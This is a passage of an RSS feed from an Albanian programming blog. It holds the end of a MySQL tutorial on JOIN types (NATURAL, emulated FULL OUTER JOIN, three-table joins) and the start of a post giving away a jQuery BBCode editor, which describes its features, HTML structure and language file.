<p><!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tabela1 <span style="color: #993333; font-weight: bold;">NATURAL</span> <span style="color: #993333; font-weight: bold;">JOIN</span> tabela2;</li><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tabela1 <span style="color: #993333; font-weight: bold;">NATURAL</span> <span style="color: #993333; font-weight: bold;">LEFT</span> <span style="color: #993333; font-weight: bold;">JOIN</span> tabela2;</li><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tabela1 <span style="color: #993333; font-weight: bold;">NATURAL</span> <span style="color: #993333; font-weight: bold;">RIGHT</span> <span style="color: #993333; font-weight: bold;">JOIN</span> tabela2;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Si ç&#8217;e shihni, kjo është forma më e shkurtër për të bashkuar tabela sepse mënjanon përdorimin e ON ose USING. Por, anët negative, të paktën për mendimin tim, janë më të mëdha se ato pozitivet. Nëse do më duhej të listoja disa anë negative, do përmend:</p>
<ul>
<li>Ul lexueshmërinë! Nuk e kupton ku priten tabelat pa pare strukturën e tyre.</li>
<li>Jo fleksibël! Tabelat duhet të kenë të njëjtat emra kolonash, gjë që jo gjithmonë ndodh.</li>
<li>Të vështira për tu mirëmbajtur. Nëse ndërron emrat e kolonave në një tabelë, ndryshimi duhet të reflektohet edhe në tabelat e tjera. Nëse harron, duhet vetëm të hamendësosh pse i gjithë aplikacioni s&#8217;punon. Lidhe edhe me pikën e parë dhe kohë të errëta ju presin.</li>
</ul>
<h2>FULL OUTER JOIN</h2>
<p>FULL OUTER JOIN është një tip bashkimi që merr funksionalitetet e LEFT dhe RIGHT JOIN. Pra, bashkohen rezultatet, por në të njëjtën kohë shfaqen edhe rreshtat që nuk përputhen nga të dyja tabelat. MySQL nuk ofron një JOIN të tillë (RDBMS të tjera po), por mund të shkruhet me pak kod më tepër.</p>
<p>Më poshtë do të shkruaj një kod që përmban dy query egzaktësisht si në rastet e ilustruara në LEFT JOIN dhe RIGHT JOIN. Ndryshimi është se do i bashkoj bashkë me UNION.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> produktet <span style="color: #993333; font-weight: bold;">AS</span> p</li><li><span style="color: #993333; font-weight: bold;">LEFT</span> <span style="color: #993333; font-weight: bold;">JOIN</span> blerjet <span style="color: #993333; font-weight: bold;">AS</span> b</li><li><span style="color: #993333; font-weight: bold;">ON</span> p<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span>b<span style="color: #66cc66;">.</span>prod_id</li><li>&nbsp;</li><li><span style="color: #993333; font-weight: bold;">UNION</span></li><li>&nbsp;</li><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> produktet <span style="color: #993333; font-weight: bold;">AS</span> p</li><li><span style="color: #993333; font-weight: bold;">RIGHT</span> <span style="color: #993333; font-weight: bold;">JOIN</span> blerjet <span style="color: #993333; font-weight: bold;">AS</span> b</li><li><span style="color: #993333; font-weight: bold;">ON</span> p<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span>b<span style="color: #66cc66;">.</span>prod_id;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>S&#8217;ka asgjë të komplikuar. UNION thjeshtë bashkon dy selektimet: njëri LEFT JOIN dhe tjetri RIGHT JOIN. Në fund, rezultati që do të marr është si në tabelën më poshtë.</p>
<div id="attachment_2249" class="wp-caption aligncenter" style="width: 405px"><a href="http://feniksi.com/wp-content/uploads/2011/09/full-outer-join.png" rel="shadowbox[sbpost-2085];player=img;"><img src="http://feniksi.com/wp-content/uploads/2011/09/full-outer-join.png" alt="Rezultatet e FULL OUTER JOIN" title="Rezultatet e FULL OUTER JOIN" width="395" height="161" class="size-full wp-image-2249" /></a>
<p class="wp-caption-text">Rezultatet e një FULL OUTER JOIN</p>
</div>
<h2>Bashkimet e më Shumë se dy Tabelave</h2>
<p>Bashkimet mbeten të njëjta, si për dy tabela, si për 100. Kuptohet, sa më shumë tabela në një query, aq më komplekse bëhet. Megjithatë, në bazë bashkimet kryhen me të njëjtin koncept. Le të marrim rastin e INNER JOIN dhe bashkimin e tre tabelave.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="CSS"><div class="devcodeoverflow"><ol><li>SELECT <span style="color: #00AA00;">*</span> FROM tabela1 AS t1</li><li>INNER JOIN tabela2 AS t2</li><li>ON t1.id<span style="color: #00AA00;">=</span>t2<span style="color: #6666ff;">.id</span></li><li>INNER JOIN tabela3 AS t3</li><li>ON t2.id<span style="color: #00AA00;">=</span>t3.id<span style="color: #00AA00;">;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Thjeshtë kam shtuar INNER JOIN dhe ON në të njëjtën formë si ç&#8217;bëra për bashkimin e dy tabelave. Për ta bërë më konkret seksionin, do ju ilustroj bashkimin e tre tabelave me ato që kemi: &#8220;produktet&#8221; dhe &#8220;blerjet&#8221;. Do na duhet edhe një e tretë, kuptohet. Mendova të shtoj një tabelë të re &#8220;kthimet&#8221; që mban produktet e blera, por të kthyer. Nuk është shumë realist si skenar, por shërben mirë si shembull.</p>
<p><pre>
================
Tabela "kthimet"
================
id	bler_id		data
1	3		2011-09-25
2	5		2011-09-22
</pre></p>
<p>Kolona &#8220;bler_id&#8221; referencon ID-në e tabelës &#8220;blerjet&#8221;. Kam tre tabela që kanë lidhje me njëra tjetrën, kështu që mund ti bashkoj fare lehtë.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> produktet <span style="color: #993333; font-weight: bold;">AS</span> p</li><li><span style="color: #993333; font-weight: bold;">INNER</span> <span style="color: #993333; font-weight: bold;">JOIN</span> blerjet <span style="color: #993333; font-weight: bold;">AS</span> b</li><li><span style="color: #993333; font-weight: bold;">ON</span> p<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span>b<span style="color: #66cc66;">.</span>prod_id</li><li><span style="color: #993333; font-weight: bold;">INNER</span> <span style="color: #993333; font-weight: bold;">JOIN</span> kthimet <span style="color: #993333; font-weight: bold;">AS</span> k</li><li><span style="color: #993333; font-weight: bold;">ON</span> b<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span>k<span style="color: #66cc66;">.</span>bler_id;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Rezultati do të përmbajë filmat e blerë, por që janë kthyer. Ajo që ndodh në proçesim nga MySQL është sekuenciale. Fillimisht merret bashkimi i &#8220;produktet&#8221; me &#8220;blerjet&#8221; për të nxjerrë rezultatin dhe në fund, ky rezultat bashkohet me &#8220;kthimet&#8221; për të nxjerrë bashkimin përfundimtar. Tabela e përftuar me query-n e mësipërme do të ngjajë si më poshtë.</p>
<div id="attachment_2251" class="wp-caption aligncenter" style="width: 524px"><a href="http://feniksi.com/wp-content/uploads/2011/09/bashkim-3-tabela.png" rel="shadowbox[sbpost-2085];player=img;"><img src="http://feniksi.com/wp-content/uploads/2011/09/bashkim-3-tabela.png" alt="Rezultat i bashkimit te tre tabelave" title="Rezultat i bashkimit te tre tabelave" width="514" height="53" class="size-full wp-image-2251" /></a>
<p class="wp-caption-text">Rezultati i bashkimit të tre tabelave</p>
</div>
<h2>Veprimet Tipike me Tabela të Bashkuara</h2>
<p>Ashtu si veprimet me një tabelë, edhe me tabela të bashkuara mund të kryhen veprime tipike si numërim, maksimum, minimum, etj. S&#8217;duhet të ketë asgjë të re këtu që nuk e kam shpjeguar në guidat e mëparshme, por do ju jap një shembull thjeshtë për t&#8217;ju bërë më familjar me bashkimet.</p>
<p>Në query-n më poshtë kam përdorur një kombinim të disa prej komandave që ju kam mësuar deri tani. Ajo që dua të bëj është të marr një raport ku më tregohet sa blerje janë bërë për secilin produkt (GROUP dhe COUNT) dhe rezultatet dua ti rendis numrit të blerjeve në rend zbritës.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> p<span style="color: #66cc66;">.</span>emri<span style="color: #66cc66;">,</span> p<span style="color: #66cc66;">.</span>cmimi<span style="color: #66cc66;">,</span> <span style="color: #993333; font-weight: bold;">COUNT</span><span style="color: #66cc66;">&#40;</span>p<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">AS</span> blerje_total</li><li><span style="color: #993333; font-weight: bold;">FROM</span> produktet <span style="color: #993333; font-weight: bold;">AS</span> p</li><li><span style="color: #993333; font-weight: bold;">INNER</span> <span style="color: #993333; font-weight: bold;">JOIN</span> blerjet <span style="color: #993333; font-weight: bold;">AS</span> b</li><li><span style="color: #993333; font-weight: bold;">ON</span> p<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span>b<span style="color: #66cc66;">.</span>prod_id</li><li><span style="color: #993333; font-weight: bold;">GROUP</span> <span style="color: #993333; font-weight: bold;">BY</span> p<span style="color: #66cc66;">.</span>id</li><li><span style="color: #993333; font-weight: bold;">ORDER</span> <span style="color: #993333; font-weight: bold;">BY</span> blerje_total <span style="color: #993333; font-weight: bold;">DESC</span>;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Rezultati shfaqet në figurën më poshtë.</p>
<div id="attachment_2250" class="wp-caption aligncenter" style="width: 205px"><a href="http://feniksi.com/wp-content/uploads/2011/09/veprimet-tipike1.png" rel="shadowbox[sbpost-2085];player=img;"><img src="http://feniksi.com/wp-content/uploads/2011/09/veprimet-tipike1.png" alt="Rezultati i JOIN, GROUP, COUNT dhe ORDER" title="Rezultati i JOIN, GROUP, COUNT dhe ORDER" width="195" height="71" class="size-full wp-image-2250" /></a>
<p class="wp-caption-text">Rezultati i një query me disa komanda</p>
</div>
<h2>Përfundimi</h2>
<p>Ma merr mendja se ka qenë pak intensive si guidë, sidomos për ata që nuk kanë punuar ndonjë herë me JOINs. E rëndësishmja është që në tërë këtë informacion të keni përftuar njohuritë e duhura rreth bashkimit të tabelave, të keni kuptuar se janë të domosdoshme dhe ti vini në përdorim në projektet tuaja. Krahas shkurtimit të kodit, JOINs janë më të optimizuara në marrjen e informacioneve nga disa tabela në krahasim me bërjen e disa query të ndryshme.</p>
<p>Sigurohuni të provoni kodet që kam dhënë më sipër dhe të eksperimentoni me to. Bëni dallimet midis INNER, LEFT dhe RIGHT JOIN duke provuar me tabela të vërteta dhe tentoni të shtoni edhe komanda të tjera për të kryer veprime më specifike. Në fund, ato që duken komplekse nga larg, mbeten praktika të thjeshta që duan vetëm pak eksperiencë.</p>
<p>Me ato që keni përftuar deri tani me leksionet mbi MySQL, duhet të jeni të gatshëm të bëni query goxha të avancuara. Megjithatë, kanë mbetur akoma plot për t&#8217;ju treguar. Për t&#8217;ju përmenduar disa tema që me siguri do të jenë në guidat e ardhmshme: datat dhe ora, manipulimi i teksteve, veprime matematikore, subqueries, kontrolli i rrjedhjes (if() dhe case()), etj. Shihemi në guidat e ardhshme.</p>
<p>Mësim të mbarë.</p>
]]></content:encoded>
			<wfw:commentRss>http://feniksi.com/web/mysql/bazat-e-mysql-me-php-3-join/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Dhuratë: Simplium Editor v1.1</title>
		<link>http://feniksi.com/web/dhurata/dhurate-simplium-editor-v1-1/</link>
		<comments>http://feniksi.com/web/dhurata/dhurate-simplium-editor-v1-1/#comments</comments>
		<pubDate>Tue, 20 Sep 2011 15:48:15 +0000</pubDate>
		<dc:creator>Fadion Dashi</dc:creator>
				<category><![CDATA[Dhurata]]></category>
		<category><![CDATA[dhurate]]></category>
		<category><![CDATA[editor]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jquery]]></category>

		<guid isPermaLink="false">http://feniksi.com/?p=2045</guid>
		<description><![CDATA[Simplium Editor është një editor WYSIWYM i shkruar në Javascript duke përdorur librarinë jQuery. Ofron shumë opsione interesante dhe mund të jetë zgjidhje e mirë për forume, forma komentesh, etj. Jeni të lirë ta shkarkoni, ta përdorni dhe ta modifikoni pa limit.]]></description>
			<content:encoded><![CDATA[<p>Ndryshe nga artikujt e tjerë, këtë rradhë mendova t&#8217;ju jap një dhuratë të vogël me rastin e rinisjes së Feniksit. Bëhet fjalë për një editor përmbajtje (wysiwym &#8211; what you see is what you mean) i shkruar në Javascript dhe jQuery. Punën për të e nisa gjatë projektit Simplium, idesë për të koduar një forum Open Source dhe ky editor supozohej të përdorej në të. Megjithatë, projekti u abandonua (e pranoj fajin!) dhe meqë ka më tepër se 1 vit që editori rri i mbyllur në një direktori, pse mos ta ndaj me ju?!</p>
<p>Kini parasysh që po flasim për një editor në të cilin formatimet shkruhen si BBCodes dhe jo një editor WYSIWYG (i tipit të TinyMCE, FCK, etj). Mund të përdoret fare lehtë për forume, forma komentesh apo çfarëdo sistemi ku doni të ofroni formatime bazë, pa e ngarkuar me editorë të komplikuar. Gjithashtu, mbani mend që ky është editor Javascript dhe nuk bën përpunimet e KodeveBB. Këtë të fundit e ka në dorë një gjuhë nga kahu i serverit (si PHP). Kam shkruar një guidë pikërisht për këtë temë këtu në Feniksi: <a href="http://feniksi.com/web/php/sistem-kodibb-dhe-qeshjesh-me-php/" title="Sistem KodiBB dhe Qeshjesh me PHP">Sistem KodiBB dhe Qeshjesh me PHP</a>. Me të dy këto artikuj do keni një sistem tërësisht funksional.</p>
<p>Përpara gjithçkaje, më duhet të falenderoj pjesëmarrësit e projektit Simplium për idetë dhe mbështetjen për këtë editor, por akoma më tepër për vetë projektin. Një falenderim i veçantë i shkon Gëzim Osmanit për krijimin e Smileys aq interesante posaçërisht për këtë editor.</p>
<p>Versioni aktual është 1.1. Pasi të shtohen opsione të reja, të pastrohen bugs apo të bëhen rifaktorime në kod, rrjedhimisht versioni do të inkrementohet dhe do të pasqyrohet në titullin e artikullit. Gjithashtu, në fund të artikullit do të shkruaj të dhëna për përmirësimet e çdo versioni.</p>
<h2>Editori në Veprim</h2>
<p>Përdorimi është shumë i thjeshtë, edhe nga ata që s&#8217;kanë eksperiencë me editorë të tillë. KodetBB janë të kuptueshëm dhe ikonat që përfaqësojnë veprimet gjithashtu. Më poshtë mund të shihni 2 pamje të editorit: 1) Pamja fillestare, pa përmbajtje dhe 2) Një tekst i formatuar dhe menuja e Qeshjeve. Qëllimi ishte të krijoja një editor të thjeshtë, por të bukur për ta parë. Shpresoj t&#8217;ju pëlqejë grafikisht.</p>
<div id="attachment_2046" class="wp-caption aligncenter" style="width: 652px"><img src="http://feniksi.com/wp-content/uploads/2011/09/editori1.jpg" alt="Pamje nga Editori" title="Pamje nga Editori" width="642" height="378" class="size-full wp-image-2046" />
<p class="wp-caption-text">Pamje nga Editori</p>
</div>
<div id="attachment_2047" class="wp-caption aligncenter" style="width: 652px"><img src="http://feniksi.com/wp-content/uploads/2011/09/editori2.jpg" alt="Pamje nga Editori" title="Pamje nga Editori" width="642" height="378" class="size-full wp-image-2047" />
<p class="wp-caption-text">Pamje nga Editori</p>
</div>
<h2>Opsionet</h2>
<p>Për të qenë një projekt individual që nuk e ka parë kurrë dritën e diellit, mund të them që është i pasur me opsione. Megjithatë, jam i sigurt që me sugjerimet tuaja mund të pasurohet akoma më shumë.</p>
<p><strong>Editori ofron:</strong></p>
<ul>
<li>Ndërfaqe e bukur dhe intuitive.</li>
<li>KodeBB për formatimet tipike si: Bold, Italic, Underline, URL, etj.</li>
<li>Kode speciale për madhësinë e gërmës dhe ngjyrën.</li>
<li>Qeshje me ikona të personalizuara.</li>
<li>Shkurtime përmes butonave CTRL ose CMD (Mac): CTRL+B, CTRL+I, CTRL+U dhe CTRL+L.</li>
<li>I zmadhueshëm vertikalisht (vetëm Chrome, Firefox dhe Safari).</li>
<li>Grafika mund të ndryshohet tërësisht përmes Shablloneve (skins).</li>
<li>Skedarë gjuhe për lokalizim të thjeshtë.</li>
<li>Opsione inicjalizimi që vendosen në deklarimin e editorit.</li>
<li>I shkruar si një sistem modular (përmes literalëve në JS) për zgjerim sa më të lehtë.</li>
<li>Fare i thjeshtë të integrohet në faqe/aplikacione egzistuese.</li>
</ul>
<h2>Prapaskena e Editorit</h2>
<p>Editori është i gjithi i shkruar në Javascript, sigurisht duke përdorur jQuery. Krahas tij, kam përdorur edhe një plugin për jQuery të quajtur &#8220;rangyinputs&#8221; që ofron lehtësira në marrjen dhe vendosjen e kursorit në fushën e shkrimit. Kjo është pjesë problematike për tu koduar vetë, sepse duhet siguruar suporti nga shfletues të ndryshëm dhe realisht nuk ja vlente puna. Plugini është vetëm 4KB, ndërsa libraria jQuery 90KB.</p>
<p>Kodi Javascript i editorit është i tëri i shkruar në formë objektesh, ose të paktën më e afërta që mund të bëhet: duke përdorur Object Literals. Këto të fundit janë thjeshtë një tabelë çelësash dhe vlerash (si një vektor), por ku si vlera mund të shkruhen edhe funksione. Javascript është gjuhë e fuqishme dhe kodimi me literalë është mënyra më e mirë për të ndërtuar një sistem modular. Ajo që çalon pak është fakti se kur e kam shkruar, nuk kam qenë (dhe s&#8217;jam as tani!) ndonjë ekspert në Javascript. Me siguri mund të përmirësohet sistemi duke i lokalizuar metodat edhe më shumë. Aktualisht, kodi që vë në punë editorin (pa llogaritur jQuery dhe rangyinputs) është 21KB. Në kodin e shkarkimit do të gjeni gjithashtu një version të minifikuar të kodit që është kompresuar në 14KB dhe që është zgjidhja e mirë për produksion.</p>
<p>Logjika që e vë në punë Editorin nuk është e komplikuar. Mjafton të krijohet një &lt;textarea&gt; me një klasë/id të caktuar, të shkruhen 2 rreshta kod që thërrasin objektin Javascript dhe gjithçka vihet në punë. Në prapaskenë, textarea zëvendësohet me një strukturë HTML që përmban të gjithë elementët e duhur për ikonat, panelet, etj. Kodi HTML i gjeneruar ka egzaktësisht formën më poshtë:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editorWrapper&quot;</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editorToolbar&quot;</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">ul</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editorIcons&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">ul</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">ul</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editorSmileys&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">ul</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">textarea</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">textarea</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editorShadow&quot;</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;shadow-left&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;shadow-middle&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;shadow-right&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">ul</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editorFont&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">ul</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;editorColors&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;smileys-popup&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Një strukturë HTML pa ndonjë komplikim; thjeshtë me elementë për secilin funksionalitet. Kam përdorur ID për praktikisht çdo gjë për ta pasur të lehtë ti referencohem me Javascript. Ndërkohë, ky kod HTML mund të dekorohet me CSS dhe editori ofron mundësinë e Shablloneve. Një instalim editori mund të përmbajë Shabllone pa fund, gjë që e bën goxha të ripërdorshëm.</p>
<p>Shabllonet janë skedarë të thjeshtë CSS dhe imazhe. Aktualisht Editori ka vetëm një Shabllon të quajtur &#8220;simplium&#8221;, por shtimi i të rejave është vërtetë lojë fëmijësh. Mund të përdorni skedarin CSS të shabllonit &#8220;simplium&#8221; si bazë të versioneve tuaja. Struktura e Shablloneve është si më poshtë.</p>
<div id="attachment_2052" class="wp-caption aligncenter" style="width: 413px"><img src="http://feniksi.com/wp-content/uploads/2011/09/editori-struktura.jpg" alt="Struktura e Shablloneve" title="Struktura e Shablloneve" width="403" height="171" class="size-full wp-image-2052" />
<p class="wp-caption-text">Struktura e Shablloneve</p>
</div>
<p>Për ta mbyllur këtë seksion, më ka mbetur pa përmendur aftësia e editorit për të përdorur gjuhë të ndryshme. Bëhet fjalë për skedarë të thjeshtë Javascript ku variablat e gjuhës dhe vlera e tyre shkruhen në format JSON. Mund të shtohen gjuhë pa fund dhe mjafton të përcaktohet emri i gjuhës në inicializimin e editorit për ta vënë atë në punë. Një version i shkurtuar i skedarit aktual të gjuhës Shqipe tregohet më poshtë. Majtas ndodhen emrat statikë të variablave (nuk duhen ndryshuar), ndërsa djathtas është teksti i gjuhës. Nëse ju duhet të shtoni një gjuhë të re (psh. Anglisht), mjafton të bëni një kopje të &#8220;al.js&#8221;, ta riemëroni në &#8220;en.js&#8221; dhe në këtë skedar të ri ti përktheni variablat.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="Javascript"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&#123;</span></li><li>	<span style="color: #3366CC;">&quot;bb_bold&quot;</span><span style="color: #339933;">:</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #3366CC;">&quot;I Trashe&quot;</span><span style="color: #339933;">,</span></li><li>	<span style="color: #3366CC;">&quot;bb_italic&quot;</span><span style="color: #339933;">:</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #3366CC;">&quot;I Pjerret&quot;</span><span style="color: #339933;">,</span></li><li>	<span style="color: #3366CC;">&quot;bb_underline&quot;</span><span style="color: #339933;">:</span>&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: #3366CC;">&quot;Vije Poshte&quot;</span><span style="color: #339933;">,</span></li><li>	<span style="color: #3366CC;">&quot;bb_strikethrough&quot;</span><span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;Vije ne Mes&quot;</span><span style="color: #339933;">,</span></li><li>	<span style="color: #3366CC;">&quot;bb_seperator&quot;</span><span style="color: #339933;">:</span>&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: #3366CC;">&quot;Ndares&quot;</span><span style="color: #339933;">,</span></li><li>	<span style="color: #3366CC;">&quot;bb_bullets&quot;</span><span style="color: #339933;">:</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: #3366CC;">&quot;Liste e Parenditur&quot;</span><span style="color: #339933;">,</span></li><li>	<span style="color: #3366CC;">&quot;bb_numbers&quot;</span><span style="color: #339933;">:</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: #3366CC;">&quot;Liste e Renditur&quot;</span><span style="color: #339933;">,</span></li><li>	<span style="color: #3366CC;">&quot;bb_item&quot;</span><span style="color: #339933;">:</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #3366CC;">&quot;Element Liste&quot;</span><span style="color: #339933;">,</span></li><li>	<span style="color: #3366CC;">&quot;bb_link&quot;</span><span style="color: #339933;">:</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #3366CC;">&quot;Lidhje&quot;</span><span style="color: #339933;">,</span></li><li>	<span style="color: #3366CC;">&quot;bb_picture&quot;</span><span style="color: #339933;">:</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: #3366CC;">&quot;Foto&quot;</span><span style="color: #339933;">,</span></li><li>	<span style="color: #3366CC;">&quot;bb_video&quot;</span><span style="color: #339933;">:</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: #3366CC;">&quot;Video Youtube&quot;</span><span style="color: #339933;">,</span></li><li>	<span style="color: #3366CC;">&quot;bb_quote&quot;</span><span style="color: #339933;">:</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: #3366CC;">&quot;Citim&quot;</span><span style="color: #339933;">,</span></li><li>	<span style="color: #3366CC;">&quot;bb_code&quot;</span><span style="color: #339933;">:</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #3366CC;">&quot;Kod&quot;</span><span style="color: #339933;">,</span></li><li>	<span style="color: #3366CC;">&quot;bb_font&quot;</span><span style="color: #339933;">:</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #3366CC;">&quot;Teksti&quot;</span><span style="color: #339933;">,</span></li><li>	<span style="color: #3366CC;">&quot;bb_color&quot;</span><span style="color: #339933;">:</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: #3366CC;">&quot;Ngjyra&quot;</span><span style="color: #339933;">,</span></li><li><span style="color: #009900;">&#125;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>Si Instalohet Editori</h2>
<p>Instalimi i versionit bazë, pa parametra është tmerrësisht i thjeshtë. Ju mjafton të përfshini disa skedarë dhe të shkruani pak rreshta Javascript.</p>
<p><strong>1. Përfshini skedarin CSS të shabllonit</strong><br />
